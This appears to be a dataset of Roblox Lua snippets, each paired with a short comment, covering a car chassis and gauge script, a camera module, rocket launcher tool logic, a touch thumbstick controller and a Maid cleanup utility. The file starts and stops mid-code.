script.Parent:WaitForChild("Status")
local down1
local down2
local Drive={
car.Wheels.FL:GetChildren(),
car.Wheels.FR:GetChildren(),
car.Wheels.RL:GetChildren(),
car.Wheels.RR:GetChildren()
}
local Tc={
Speed=0,
ThrotAccel=.1,
ThrotDecay=.4,
ClutchAccel=.1,
ClutchDecay=.5,
FreeAccel=.1,
FreeDecay=.01,
BrakeAccel=.5,
BrakeDecay=.5,
ExpGradient=2,
MaxTorque=100000,
BrakeMaxTorque=100000,
BExpGradient=2,
Brakes=21000, --Brake Force
ClutchGain=6000,
ClutchStall=8000,
ShiftSpeed=.01,
ClutchShiftSpeed=.2,
RevBounceP=.93,
VariableThrotAdj=.1,
Trans={
-- Tuning: http://i.imgur.com/wbHZPI7.png
-- [1] [2] [3] [4] [5] [6] [7] [8] [9]
-- {Int Tq , Peak Tq , Peak Sp , Max Sp , Tq Decay, Limiter , C Tolerance , C Gain , C Stall }
{14000 , 18000 , 60 , 80 , 17 , 8 , .7 , .5 , .7 }, --1st
{10000 , 16000 , 90 , 150 , 20 , 10 , .2 , .3 , .8 }, --2nd
{8000 , 13000 , 170 , 200 , 27 , 13 , .1 , .2 , 1 }, --3rd
{5000 , 11000 , 220 , 240 , 28 , 20 , .08 , .15 , 1.2 }, --4th
{2500 , 8000 , 260 , 280 , 50 , 30 , .06 , .1 , 1.5 }, --5th
{2000 , 7000 , 300 , 330 , 100 , 50 , .04 , .1 , 2 }, --6th
},
ReverseTq=14000, --Reverse Torque
ReverseSp=30, --Max Reverse Speed
FDiffPerc=-.2, --Front Differential (-1 -> 1) *value < 0 is outer wheel biased
CDiffPerc=.25, --Center Differential (-1 -> 1) *value < 0 is front biased
RDiffPerc=-.2, --Rear Differential (-1 -> 1) *value < 0 is outer wheel biased
DTrainDist=-.5, --Power Distribution (See below diagram)
-- Rear <-|-------|-------|-------|-------|-> Front
-- Biased -1 0 1 Biased
-- RWD AWD FWD
-------------------------------------------
ThrotP=0,
MaxThrotP=1,
BrakeP=0,
ClutchP=0,
Throttle=0,
Brake=0,
Clutch=0,
Gear=1,
GearShift=1,
PrevGear=1,
RPM=0,
Units={
{"SPS",1},
{"MPH",.682},
{"KPH",1.097}
},
CUnit=1
}
local Friction={
TractionControl=true,
FDownforce=0000, --Front Downforce (Unsprung)
RDownforce=40000, --Rear Downforce (Unsprung)
FFChange=0,
FTolerance=10,
FMaxDiff=40,
FDecay=1,
FGripGain=1,
RFChange=-40000,
RTolerance=10,
RMaxDiff=40,
RDecay=.01,
RGripGain=.01,
PBrakeForce=40000,
SkidTol=40,
-----------------------------------------
PBrake=false,
FSkid=0,
RSkid=0,
}
for i,v in pairs(Drive) do
for n,a in pairs(v) do
if a.Wheel:FindFirstChild("#AV") then
a.Wheel:FindFirstChild("#AV"):Destroy()
end
local AV=Instance.new("BodyAngularVelocity",a.Wheel)
AV.Name="#AV"
AV.angularvelocity=Vector3.new(0,0,0)
AV.maxTorque=Vector3.new(0,0,0)
AV.P=Tc.MaxTorque
end
end
mouse.Button1Up:connect(function() down1=false end)
mouse.Button1Down:connect(function() down1=true end)
mouse.Button2Up:connect(function() down2=false end)
mouse.Button2Down:connect(function() down2=true end)
mouse.WheelForward:connect(function()
if GMode==1 then
Tc.MaxThrotP=math.min(1,Tc.MaxThrotP+Tc.VariableThrotAdj)
end
end)
mouse.WheelBackward:connect(function()
if GMode==1 then
Tc.MaxThrotP=math.max(0,Tc.MaxThrotP-Tc.VariableThrotAdj)
end
end)
mouse.KeyDown:connect(function(key)
if key=="q" then
Tc.PrevGear=Tc.Gear
Tc.GearShift=0
Tc.Gear=math.max(Tc.Gear-1,-1)
elseif key=="e" then
Tc.PrevGear=Tc.Gear
Tc.GearShift=0
Tc.Gear=math.min(Tc.Gear+1,#Tc.Trans)
elseif (string.byte(key)==48 and GMode==1) or (key=="p" and GMode==0) then
Friction.PBrake=1
elseif (key=="w" and GMode==1) or (string.byte(key)==48 and GMode==0) then
Tc.Clutch=1
elseif key=="t" then
Friction.TractionControl=not Friction.TractionControl
end
end)
mouse.KeyUp:connect(function(key)
if (string.byte(key)==48 and GMode==1) or (key=="p" and GMode==0) then
Friction.PBrake=0
elseif (key=="w" and GMode==1) or (string.byte(key)==48 and GMode==0) then
Tc.Clutch=0
end
end)
local function AChassis()
if GMode==0 then
Tc.MaxThrotP=1
Tc.MaxBrakeP=1
Tc.Throttle=math.max(car.DriveSeat.Throttle,0)
Tc.Brake=math.max(-car.DriveSeat.Throttle,0)
elseif GMode==1 then
Tc.MaxBrakeP=1
if down1 then
Tc.Throttle=1
else
Tc.Throttle=0
end
if down2 then
Tc.Brake=1
else
Tc.Brake=0
end
else
Friction.PBrake=ButtonL1
Tc.Clutch=ButtonR1
Tc.Throttle=math.ceil(RTriggerValue)
Tc.MaxThrotP=RTriggerValue
Tc.Brake=math.ceil(LTriggerValue)
Tc.MaxBrakeP=LTriggerValue^Tc.BExpGradient
if Tc.ControllerGUp==0 and ButtonY==1 then
Tc.PrevGear=Tc.Gear
Tc.GearShift=0
Tc.Gear=math.min(Tc.Gear+1,#Tc.Trans)
elseif Tc.ControllerGDown==0 and ButtonX==1 then
Tc.PrevGear=Tc.Gear
Tc.GearShift=0
Tc.Gear=math.max(Tc.Gear-1,-1)
end
Tc.ControllerGUp=ButtonY
Tc.ControllerGDown=ButtonX
end
if Tc.Throttle==1 then
Tc.ThrotP=math.min(Tc.MaxThrotP,Tc.ThrotP+Tc.ThrotAccel)
else
Tc.ThrotP=math.max(0,Tc.ThrotP-Tc.ThrotDecay)
end
if Tc.Brake==1 then
Tc.BrakeP=math.min(Tc.MaxBrakeP,Tc.BrakeP+Tc.BrakeAccel)
else
Tc.BrakeP=math.max(0,Tc.BrakeP-Tc.BrakeDecay)
end
if Tc.Clutch==1 or Tc.Gear==0 then
Tc.ClutchP=math.max(0,Tc.ClutchP-Tc.ClutchDecay)
else
Tc.ClutchP=math.min(1,Tc.ClutchP+Tc.ClutchAccel)
end
-------------
Tc.GearShift=math.min(1,Tc.GearShift+Tc.ShiftSpeed+(Tc.ClutchShiftSpeed*(1-Tc.ClutchP)))
---GearChangeBeta
local tol=Tc.Trans[math.max(Tc.Gear,1)][7]
local NSGear=Tc.Trans[math.max(Tc.Gear,1)][4]+Tc.Trans[math.max(Tc.Gear,1)][6]+3
local OSGear=Tc.Trans[math.max(Tc.PrevGear,1)][4]+Tc.Trans[math.max(Tc.PrevGear,1)][6]+3
local toprev=OSGear+((NSGear-OSGear)*Tc.GearShift)
local gearDiff=(Tc.RPM*NSGear)-(Tc.RPM*OSGear)
local stall=1
local stalltq=0
if math.abs(gearDiff)>tol then
stall=Tc.GearShift
if gearDiff>0 then
stalltq=Tc.Trans[Tc.Gear][8]*(1-Tc.GearShift)
else
stalltq=Tc.Trans[Tc.Gear][9]*(1-Tc.GearShift)
end
end
-------------
local frev=0
local rrev=0
for i,v in pairs(Drive[1]) do
frev=math.max(frev,v.Wheel.RotVelocity.Magnitude)
end
for i,v in pairs(Drive[2]) do
frev=math.max(frev,v.Wheel.RotVelocity.Magnitude)
end
for i,v in pairs(Drive[3]) do
rrev=math.max(rrev,v.Wheel.RotVelocity.Magnitude)
end
for i,v in pairs(Drive[4]) do
rrev=math.max(rrev,v.Wheel.RotVelocity.Magnitude)
end
local rev=rrev/toprev
if Tc.DTrainDist==1 then
rev=frev/toprev
elseif Tc.DTrainDist~=-1 then
rev=math.max(rev,frev/toprev)
end
local rGain=(Tc.ThrotP*2)-1
if rGain>0 then
rGain=rGain*Tc.FreeAccel
else
rGain=rGain*Tc.FreeDecay
end
Tc.RPM=math.min(1,math.max(0,rev*Tc.ClutchP^.3,(Tc.RPM+rGain)*(1-Tc.ClutchP)^.3))
-- A-Chassis 5.0
for i,a in pairs(Drive) do
for n,v in pairs(a) do
local tq=0
if Tc.Gear>0 then
Tc.Speed=toprev
if v.Wheel.RotVelocity.Magnitude<Tc.Trans[Tc.Gear][4] then
local tPerc=math.min(v.Wheel.RotVelocity.Magnitude/Tc.Trans[Tc.Gear][3],1)
local tqChange=Tc.Trans[Tc.Gear][2]-Tc.Trans[Tc.Gear][1]
tq=(Tc.Trans[Tc.Gear][1]+(tPerc*tqChange))
else
if v.Wheel.RotVelocity.Magnitude<Tc.Trans[Tc.Gear][4]+Tc.Trans[Tc.Gear][6]-1 then
local tPerc=(v.Wheel.RotVelocity.Magnitude-Tc.Trans[Tc.Gear][4])/Tc.Trans[Tc.Gear][5]
local tqChange=Tc.Trans[Tc.Gear][2]
tq=(math.max(0,Tc.Trans[Tc.Gear][2]-(tPerc*tqChange)))
else
Tc.Speed=(Tc.Trans[Tc.Gear][4]+Tc.Trans[Tc.Gear][6])*Tc.RevBounceP
tq=Tc.Trans[Tc.Gear][2]*2
end
end
elseif Tc.Gear==0 then
tq=0
else
Tc.Speed=-Tc.ReverseSp
tq=Tc.ReverseTq
end
if i==1 then
tq=tq*(1-(GSteer*Tc.FDiffPerc))*(1+math.abs(GSteer*Tc.CDiffPerc))*(1+Tc.DTrainDist)
elseif i==2 then
tq=tq*(1+(GSteer*Tc.FDiffPerc))*(1+math.abs(GSteer*Tc.CDiffPerc))*(1+Tc.DTrainDist)
elseif i==3 then
tq=tq*(1-(GSteer*Tc.RDiffPerc))*(1-math.abs(GSteer*Tc.CDiffPerc))*(1-Tc.DTrainDist)
else
tq=tq*(1+(GSteer*Tc.RDiffPerc))*(1-math.abs(GSteer*Tc.CDiffPerc))*(1-Tc.DTrainDist)
end
tq=tq*Tc.ThrotP*Tc.ClutchP^Tc.ExpGradient
tq=tq+(tq*stalltq)
local br=Tc.Brakes*Tc.BrakeP^Tc.ExpGradient
tq=math.abs(tq-br)
Tc.Speed=Tc.Speed*(1-math.ceil(Tc.BrakeP))
if i>2 and Friction.PBrake==1 then
Tc.Speed=0
tq=Friction.PBrakeForce
end
local Ref=v.Axle.CFrame.lookVector
local Speed=Tc.Speed
if i==1 or i==3 then Speed=-Speed end
local TqVector=1
if Friction.TractionControl then
TqVector=math.max(0,Friction.SkidTol-math.abs((v.Wheel.RotVelocity.Magnitude*(v.Wheel.Size.X/2))-v.Wheel.Velocity.Magnitude))/Friction.SkidTol
if TqVector<.7 then
script.Parent.Gauges.Speedo.TC.Visible=true
else
script.Parent.Gauges.Speedo.TC.Visible=false
end
else
script.Parent.Gauges.Speedo.TC.Visible=false
end
v.Wheel["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*tq*TqVector
v.Wheel["#AV"].angularvelocity=Ref*Speed*stall
v.Wheel["#AV"].P=Tc.MaxTorque*TqVector
end
end
end
script.Parent.Gauges.Speedo.Units.MouseButton1Click:connect(function()
if Tc.CUnit>=3 then
Tc.CUnit=1
else
Tc.CUnit=Tc.CUnit+1
end
script.Parent.Gauges.Speedo.Units.Text=Tc.Units[Tc.CUnit][1]
end)
local numbers={180354176,180354121,180354128,180354131,180354134,180354138,180354146,180354158,180354160,180354168,180355596,180354115}
local function Speedometer()
--Sound
car.DriveSeat.Rev.Pitch=car.DriveSeat.Rev.SetPitch.Value+car.DriveSeat.Rev.SetRev.Value*Tc.RPM
car.DriveSeat.Rel.Pitch=car.DriveSeat.Rel.SetPitch.Value+car.DriveSeat.Rel.SetRev.Value*Tc.RPM
car.DriveSeat.Rev.Volume=car.DriveSeat.Rev.SetVolume.Value*Tc.ThrotP
car.DriveSeat.Rel.Volume=car.DriveSeat.Rel.SetVolume.Value*(1-Tc.ThrotP)
if Tc.Throttle ~= 1 then
car.DriveSeat.Backfire.Volume=math.min(math.max((Tc.RPM-.5)/.5,0)*.7,car.DriveSeat.Backfire.Volume+.07)
else
car.DriveSeat.Backfire.Volume=math.max(car.DriveSeat.Backfire.Volume-.07,0)
end
--Afterburn
if Tc.PrevThrot~=Tc.Throttle and Tc.RPM > .6 then
local a=math.random(0,1)
if a==1 then
coroutine.resume(coroutine.create(function()
for i,v in pairs(car.Body.Exhaust:GetChildren()) do
v.Afterburn.Rate=10
end
wait(.1)
for i,v in pairs(car.Body.Exhaust:GetChildren()) do
v.Afterburn.Rate=0
end
end))
end
end
--Speedo
local fwheel=Tc.RPM*(Tc.Trans[math.max(Tc.Gear,1)][4]+Tc.Trans[math.max(Tc.Gear,1)][6])
local z1=math.min(1,math.max(0,fwheel-(Tc.Trans[math.max(Tc.Gear,1)][3]*.5))/(Tc.Trans[math.max(Tc.Gear,1)][3]-(Tc.Trans[math.max(Tc.Gear,1)][3]*.5)))
local z2=math.min(1,math.max(0,fwheel-Tc.Trans[math.max(Tc.Gear,1)][4])/Tc.Trans[math.max(Tc.Gear,1)][6])
local blue=1-z1
local red=z2*2
local green=0
if fwheel>Tc.Trans[math.max(Tc.Gear,1)][4] then
green=1-z2
else
green=math.max(.45,z1*2)
end
for i,v in pairs(script.Parent.Gauges.Tach:GetChildren()) do
local n=tonumber(string.match(v.Name, "%d+"))
if n~=nil then
if n%2 == 0 then
v.P.Size=UDim2.new(0,4,0,((1-math.abs(Tc.RPM-((n-1)/18)))^12*-40)-10)
else
v.P.Size=UDim2.new(0,6,0,((1-math.abs(Tc.RPM-((n-1)/18)))^12*-40)-10)
end
v.P.BackgroundColor3 = Color3.new(red,green,blue)
end
end
local sp=car.DriveSeat.Velocity.Magnitude*Tc.Units[Tc.CUnit][2]
if sp<1000 then
local nnn=math.floor(sp/100)
local nn=(math.floor(sp/10))-(nnn*10)
local n=(math.floor(sp)-(nn*10))-(nnn*100)
script.Parent.Gauges.Speedo.A.Image="http://www.roblox.com/asset/?id="..numbers[n+1]
if sp>=10 then
script.Parent.Gauges.Speedo.B.Image="http://www.roblox.com/asset/?id="..numbers[nn+1]
else
script.Parent.Gauges.Speedo.B.Image="http://www.roblox.com/asset/?id="..numbers[12]
end
if sp>=100 then
script.Parent.Gauges.Speedo.C.Image="http://www.roblox.com/asset/?id="..numbers[nnn+1]
else
script.Parent.Gauges.Speedo.C.Image="http://www.roblox.com/asset/?id="..numbers[12]
end
else
script.Parent.Gauges.Speedo.A.Image="http://www.roblox.com/asset/?id="..numbers[10]
script.Parent.Gauges.Speedo.B.Image="http://www.roblox.com/asset/?id="..numbers[10]
script.Parent.Gauges.Speedo.C.Image="http://www.roblox.com/asset/?id="..numbers[10]
end
if Tc.Gear>=0 then
script.Parent.Gauges.Gear.G.Image="http://www.roblox.com/asset/?id="..numbers[Tc.Gear+1]
else
script.Parent.Gauges.Gear.G.Image="http://www.roblox.com/asset/?id="..numbers[11]
end
--Status Indicators
script.Parent.Status.Clutch.B.Size=UDim2.new(0,4,-Tc.ClutchP,0)
script.Parent.Status.Throttle.B.Size=UDim2.new(0,4,-Tc.ThrotP,0)
script.Parent.Status.Brakes.B.Size=UDim2.new(0,4,-Tc.BrakeP,0)
script.Parent.Status.ThrotLimit.B.Size=UDim2.new(0,4,-Tc.MaxThrotP,0)
GSpeed=car.DriveSeat.Velocity.Magnitude
GTopSp=Tc.Trans[#Tc.Trans][4]+Tc.Trans[#Tc.Trans][6]
GRev=Tc.RPM
GThrottle=Tc.ThrotP
GBrake=Tc.BrakeP
Tc.PrevThrot=Tc.Throttle
end
local function Smoke()
local tireSP={}
for i,v in pairs(Drive) do
for n,a in pairs(v) do
if a.Wheel:FindFirstChild("Smoke")~=nil and a.Wheel:FindFirstChild("Squeal")~=nil then
if workspace:FindPartOnRay(Ray.new(a.Wheel.Position,Vector3.new(0,-a.Wheel.Size.X/2,0)),car) then
a.Wheel.Smoke.Enabled=math.abs((a.Wheel.RotVelocity.Magnitude*(a.Wheel.Size.X/2))-a.Wheel.Velocity.Magnitude)>20
a.Wheel.Squeal.Volume=math.min(1,math.max(0,math.abs((a.Wheel.RotVelocity.Magnitude*(a.Wheel.Size.X/2))-a.Wheel.Velocity.Magnitude)-20)/20)
else
a.Wheel.Smoke.Enabled=false
a.Wheel.Squeal.Volume=0
end
end
end
end
end
--run:BindToRenderStep("AChassis",Enum.RenderPriority.Last.Value,AChassis)
--run:BindToRenderStep("Speedometer",Enum.RenderPriority.Last.Value,Speedometer)
--run:BindToRenderStep("Smoke",Enum.RenderPriority.Last.Value,Smoke)
--table.insert(Binded,"AChassis")
--table.insert(Binded,"Speedometer")
--table.insert(Binded,"Smoke")
table.insert(LoopRun,AChassis)
table.insert(LoopRun,Speedometer)
table.insert(LoopRun,Smoke)
end
Engine()
|
--!nonstrict
--!nolint DeprecatedApi
--[[
BaseCamera - Abstract base class for camera control modules
2018 Camera Update - AllYourBlox
--]]
| |
-- Local Functions
|
local function CreateRocket()
local rocketCopy = RocketTemplate:Clone()
rocketCopy.PrimaryPart.CFrame = CFrame.new(Configurations.StoragePosition.Value)
rocketCopy.Parent = Storage
rocketCopy.PrimaryPart:SetNetworkOwner(Owner)
if(Owner) then
rocketCopy.PrimaryPart.BrickColor = Owner.TeamColor
end
table.insert(Buffer, rocketCopy)
end
local function IntializeBuffer()
for i = 1, Configurations.BufferSize.Value do
CreateRocket()
end
end
local function ResetRocketOwner()
for _, rocket in ipairs(Buffer) do
rocket.PrimaryPart:SetNetworkOwner(Owner)
if(Owner) then
rocket.PrimaryPart.BrickColor = Owner.TeamColor
end
end
end
local function OnExplosionHit(part, distance)
local player = Players:GetPlayerFromCharacter(part.Parent) or Players:GetPlayerFromCharacter(part.Parent.Parent)
if not player then
if part.Parent.Name ~= 'RocketLauncher' and part.Parent.Name ~= 'Flag' and not part.Anchored then
local volume = part.Size.X * part.Size.Y * part.Size.Z
if volume <= Configurations.MaxDestroyVolume.Value then
if distance < Configurations.BlastRadius.Value * Configurations.DestroyJointRadiusPercent.Value then
part:BreakJoints()
end
if #part:GetChildren() == 0 then
wait(2 * volume)
part:Destroy()
end
end
end
end
end
local function OnRocketHit(player, rocket, position)
local explosion = Instance.new('Explosion', game.Workspace)
explosion.ExplosionType = Enum.ExplosionType.NoCraters
explosion.DestroyJointRadiusPercent = 0
explosion.BlastRadius = Configurations.BlastRadius.Value
explosion.BlastPressure = Configurations.BlastPressure.Value
explosion.Position = position
explosion.Hit:connect(function(part, distance) OnExplosionHit(part, distance, rocket) end)
rocket.Part.Fire.Enabled = false
wait(1)
rocket:Destroy()
end
local function OnChanged(property)
if property == 'Parent' then
if Tool.Parent.Name == 'Backpack' then
local backpack = Tool.Parent
Owner = backpack.Parent
elseif Players:GetPlayerFromCharacter(Tool.Parent) then
Owner = Players:GetPlayerFromCharacter(Tool.Parent)
else
Owner = nil
end
ResetRocketOwner()
end
end
local function OnFireRocket(player, rocket)
rocket.Rocket.Transparency = 0
rocket.Part.Fire.Enabled = true
CreateRocket()
end
local function DamagePlayer(hitPlayerId, player, damage)
local hitPlayer = Players:GetPlayerByUserId(tonumber(hitPlayerId))
if (hitPlayer.TeamColor == player.TeamColor and Configurations.FriendlyFire.Value) or hitPlayer.TeamColor ~= player.TeamColor then
local humanoid = hitPlayer.Character:FindFirstChild('Humanoid')
if humanoid then
humanoid:TakeDamage(damage)
end
end
end
local function OnHitPlayers(player, hitPlayers)
for hitPlayerId, _ in pairs(hitPlayers) do
DamagePlayer(hitPlayerId, player, Configurations.SplashDamage.Value)
end
end
local function OnDirectHitPlayer(player, hitPlayerId)
DamagePlayer(hitPlayerId, player, Configurations.Damage.Value)
end
|
-- Cmdr:RegisterCommandsIn(script.Parent.CmdrCommands) -- Register commands from your own folder. (Optional)
| |
-- This script was specially coded for the Plane Kit plane. It will not work with any other plane system
| |
-- May return NaN or inf or -inf
-- This is a way of finding the angle between the two vectors:
|
local function findAngleBetweenXZVectors(vec2, vec1)
return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z)
end
local function CreateAttachCamera()
local module = RootCameraCreator()
local lastUpdate = tick()
function module:Update()
local now = tick()
local camera = workspace.CurrentCamera
local player = PlayersService.LocalPlayer
if lastUpdate == nil or now - lastUpdate > 1 then
module:ResetCameraLook()
self.LastCameraTransform = nil
end
local subjectPosition = self:GetSubjectPosition()
if subjectPosition and player and camera then
local zoom = self:GetCameraZoom()
if zoom <= 0 then
zoom = 0.1
end
local humanoid = self:GetHumanoid()
if lastUpdate and humanoid and humanoid.Torso then
-- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from
local delta = math.min(0.1, now - lastUpdate)
local gamepadRotation = self:UpdateGamepad()
self.RotateInput = self.RotateInput + (gamepadRotation * delta)
local forwardVector = humanoid.Torso.CFrame.lookVector
local y = findAngleBetweenXZVectors(forwardVector, self:GetCameraLook())
if IsFinite(y) then
-- Preserve vertical rotation from user input
self.RotateInput = Vector2.new(y, self.RotateInput.Y)
end
end
local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput)
self.RotateInput = Vector2.new()
camera.Focus = CFrame.new(subjectPosition)
camera.CoordinateFrame = CFrame.new(camera.Focus.p - (zoom * newLookVector), camera.Focus.p)
self.LastCameraTransform = camera.CoordinateFrame
end
lastUpdate = now
end
return module
end
return CreateAttachCamera
|
-- * Indicates whether the local player is in range of the `target` object
--
-- Arguments: None
-- Return: Boolean whether player is in range
-- *
|
local function inRange()
local distance = player:DistanceFromCharacter(target.Position)
return distance > 0 and distance <= MAX_DISTANCE -- Distance should only be 0 when character doesnt exist
end
local function toggleInteraction()
if ((not (MainFrame.Visible or SelectionFrame.Visible or TopBar.Enabled)) and inRange()) then
show()
else
hide()
end
end
local function interactionCheck()
if not IS_CONSOLE then
if ((not (MainFrame.Visible or SelectionFrame.Visible or TopBar.Enabled)) and inRange()) then
InteractionButton.Visible = true
elseif not inRange() then
InteractionButton.Visible = false
end
end
if MainFrame.Visible and not inRange() then
hide()
end
end
|
-- How much damage the ai inficts towards the player
| |
-- Define your character and the desired walkspeed
|
local character = script.Parent
local desiredWalkspeed = 50 -- Change this value to your desired walkspeed
local defaultWalkspeed = 16 -- Change this to your desired default walkspeed
|
----------//Health HUD\\----------
|
BloodScreen:Play()
BloodScreenLowHP:Play()
Humanoid.HealthChanged:Connect(function(Health)
SE_GUI.Efeitos.Health.ImageTransparency = ((Health - (Humanoid.MaxHealth/2))/(Humanoid.MaxHealth/2))
SE_GUI.Efeitos.LowHealth.ImageTransparency = (Health /(Humanoid.MaxHealth/2))
end)
|
----------------------------------
------------FUNCTIONS-------------
----------------------------------
|
function WeldChanged(property)
if property == "Parent" and SeatWeld.Parent == nil then
SeatWeld = nil
Deactivate()
BreakSeatConnections()
Piano.Bench.Seat.Disabled = true
wait(1)
Piano.Bench.Seat.Disabled = false
end
end
function ChildAdded(child)
if child:IsA("Weld") then
local root = child.Part1
local character = root.Parent
local player = game.Players:GetPlayerFromCharacter(character)
if player then
SeatWeld = child
Activate(player)
MakeSeatConnections()
end
end
end
|
--[[ The Module ]]
|
--
local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController"))
local TouchThumbstick = setmetatable({}, BaseCharacterController)
TouchThumbstick.__index = TouchThumbstick
function TouchThumbstick.new()
local self = setmetatable(BaseCharacterController.new() :: any, TouchThumbstick)
self.isFollowStick = false
self.thumbstickFrame = nil
self.moveTouchObject = nil
self.onTouchMovedConn = nil
self.onTouchEndedConn = nil
self.screenPos = nil
self.stickImage = nil
self.thumbstickSize = nil -- Float
return self
end
function TouchThumbstick:Enable(enable: boolean?, uiParentFrame)
if enable == nil then return false end -- If nil, return false (invalid argument)
enable = enable and true or false -- Force anything non-nil to boolean before comparison
if self.enabled == enable then return true end -- If no state change, return true indicating already in requested state
self.moveVector = ZERO_VECTOR3
self.isJumping = false
if enable then
-- Enable
if not self.thumbstickFrame then
self:Create(uiParentFrame)
end
self.thumbstickFrame.Visible = true
else
-- Disable
self.thumbstickFrame.Visible = false
self:OnInputEnded()
end
self.enabled = enable
end
function TouchThumbstick:OnInputEnded()
self.thumbstickFrame.Position = self.screenPos
self.stickImage.Position = UDim2.new(0, self.thumbstickFrame.Size.X.Offset/2 - self.thumbstickSize/4, 0, self.thumbstickFrame.Size.Y.Offset/2 - self.thumbstickSize/4)
self.moveVector = ZERO_VECTOR3
self.isJumping = false
self.thumbstickFrame.Position = self.screenPos
self.moveTouchObject = nil
end
function TouchThumbstick:Create(parentFrame)
if self.thumbstickFrame then
self.thumbstickFrame:Destroy()
self.thumbstickFrame = nil
if self.onTouchMovedConn then
self.onTouchMovedConn:Disconnect()
self.onTouchMovedConn = nil
end
if self.onTouchEndedConn then
self.onTouchEndedConn:Disconnect()
self.onTouchEndedConn = nil
end
end
local minAxis = math.min(parentFrame.AbsoluteSize.X, parentFrame.AbsoluteSize.Y)
local isSmallScreen = minAxis <= 500
self.thumbstickSize = isSmallScreen and 70 or 120
self.screenPos = isSmallScreen and UDim2.new(0, (self.thumbstickSize/2) - 10, 1, -self.thumbstickSize - 20) or
UDim2.new(0, self.thumbstickSize/2, 1, -self.thumbstickSize * 1.75)
self.thumbstickFrame = Instance.new("Frame")
self.thumbstickFrame.Name = "ThumbstickFrame"
self.thumbstickFrame.Active = true
self.thumbstickFrame.Visible = false
self.thumbstickFrame.Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize)
self.thumbstickFrame.Position = self.screenPos
self.thumbstickFrame.BackgroundTransparency = 1
local outerImage = Instance.new("ImageLabel")
outerImage.Name = "OuterImage"
outerImage.Image = TOUCH_CONTROL_SHEET
outerImage.ImageRectOffset = Vector2.new()
outerImage.ImageRectSize = Vector2.new(220, 220)
outerImage.BackgroundTransparency = 1
outerImage.Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize)
outerImage.Position = UDim2.new(0, 0, 0, 0)
outerImage.Parent = self.thumbstickFrame
self.stickImage = Instance.new("ImageLabel")
self.stickImage.Name = "StickImage"
self.stickImage.Image = TOUCH_CONTROL_SHEET
self.stickImage.ImageRectOffset = Vector2.new(220, 0)
self.stickImage.ImageRectSize = Vector2.new(111, 111)
self.stickImage.BackgroundTransparency = 1
self.stickImage.Size = UDim2.new(0, self.thumbstickSize/2, 0, self.thumbstickSize/2)
self.stickImage.Position = UDim2.new(0, self.thumbstickSize/2 - self.thumbstickSize/4, 0, self.thumbstickSize/2 - self.thumbstickSize/4)
self.stickImage.ZIndex = 2
self.stickImage.Parent = self.thumbstickFrame
local centerPosition = nil
local deadZone = 0.05
local function DoMove(direction: Vector2)
local currentMoveVector = direction / (self.thumbstickSize/2)
-- Scaled Radial Dead Zone
local inputAxisMagnitude = currentMoveVector.magnitude
if inputAxisMagnitude < deadZone then
currentMoveVector = Vector3.new()
else
currentMoveVector = currentMoveVector.unit * ((inputAxisMagnitude - deadZone) / (1 - deadZone))
-- NOTE: Making currentMoveVector a unit vector will cause the player to instantly go max speed
-- must check for zero length vector is using unit
currentMoveVector = Vector3.new(currentMoveVector.X, 0, currentMoveVector.Y)
end
self.moveVector = currentMoveVector
end
local function MoveStick(pos: Vector3)
local relativePosition = Vector2.new(pos.X - centerPosition.X, pos.Y - centerPosition.Y)
local length = relativePosition.magnitude
local maxLength = self.thumbstickFrame.AbsoluteSize.X/2
if self.isFollowStick and length > maxLength then
local offset = relativePosition.unit * maxLength
self.thumbstickFrame.Position = UDim2.new(
0, pos.X - self.thumbstickFrame.AbsoluteSize.X/2 - offset.X,
0, pos.Y - self.thumbstickFrame.AbsoluteSize.Y/2 - offset.Y)
else
length = math.min(length, maxLength)
relativePosition = relativePosition.unit * length
end
self.stickImage.Position = UDim2.new(0, relativePosition.X + self.stickImage.AbsoluteSize.X/2, 0, relativePosition.Y + self.stickImage.AbsoluteSize.Y/2)
end
-- input connections
self.thumbstickFrame.InputBegan:Connect(function(inputObject: InputObject)
--A touch that starts elsewhere on the screen will be sent to a frame's InputBegan event
--if it moves over the frame. So we check that this is actually a new touch (inputObject.UserInputState ~= Enum.UserInputState.Begin)
if self.moveTouchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch
or inputObject.UserInputState ~= Enum.UserInputState.Begin then
return
end
self.moveTouchObject = inputObject
self.thumbstickFrame.Position = UDim2.new(0, inputObject.Position.X - self.thumbstickFrame.Size.X.Offset/2, 0, inputObject.Position.Y - self.thumbstickFrame.Size.Y.Offset/2)
centerPosition = Vector2.new(self.thumbstickFrame.AbsolutePosition.X + self.thumbstickFrame.AbsoluteSize.X/2,
self.thumbstickFrame.AbsolutePosition.Y + self.thumbstickFrame.AbsoluteSize.Y/2)
local direction = Vector2.new(inputObject.Position.X - centerPosition.X, inputObject.Position.Y - centerPosition.Y)
end)
self.onTouchMovedConn = UserInputService.TouchMoved:Connect(function(inputObject: InputObject, isProcessed: boolean)
if inputObject == self.moveTouchObject then
centerPosition = Vector2.new(self.thumbstickFrame.AbsolutePosition.X + self.thumbstickFrame.AbsoluteSize.X/2,
self.thumbstickFrame.AbsolutePosition.Y + self.thumbstickFrame.AbsoluteSize.Y/2)
local direction = Vector2.new(inputObject.Position.X - centerPosition.X, inputObject.Position.Y - centerPosition.Y)
DoMove(direction)
MoveStick(inputObject.Position)
end
end)
self.onTouchEndedConn = UserInputService.TouchEnded:Connect(function(inputObject, isProcessed)
if inputObject == self.moveTouchObject then
self:OnInputEnded()
end
end)
GuiService.MenuOpened:Connect(function()
if self.moveTouchObject then
self:OnInputEnded()
end
end)
self.thumbstickFrame.Parent = parentFrame
end
return TouchThumbstick
|
--- Same as indexing, but uses an incremented number as a key.
-- @param task An item to clean
-- @treturn number taskId
|
function Maid:GiveTask(task)
if not task then
error("Task cannot be false or nil", 2)
end
local taskId = #self._tasks+1
self[taskId] = task
if type(task) == "table" and (not task.Destroy) then
warn("[Maid.GiveTask] - Gave table task without .Destroy\n\n" .. debug.traceback())
end
return taskId
end
function Maid:GivePromise(promise)
if not promise:IsPending() then
return promise
end
local newPromise = promise.resolved(promise)
local id = self:GiveTask(newPromise)
-- Ensure GC
newPromise:Finally(function()
self[id] = nil
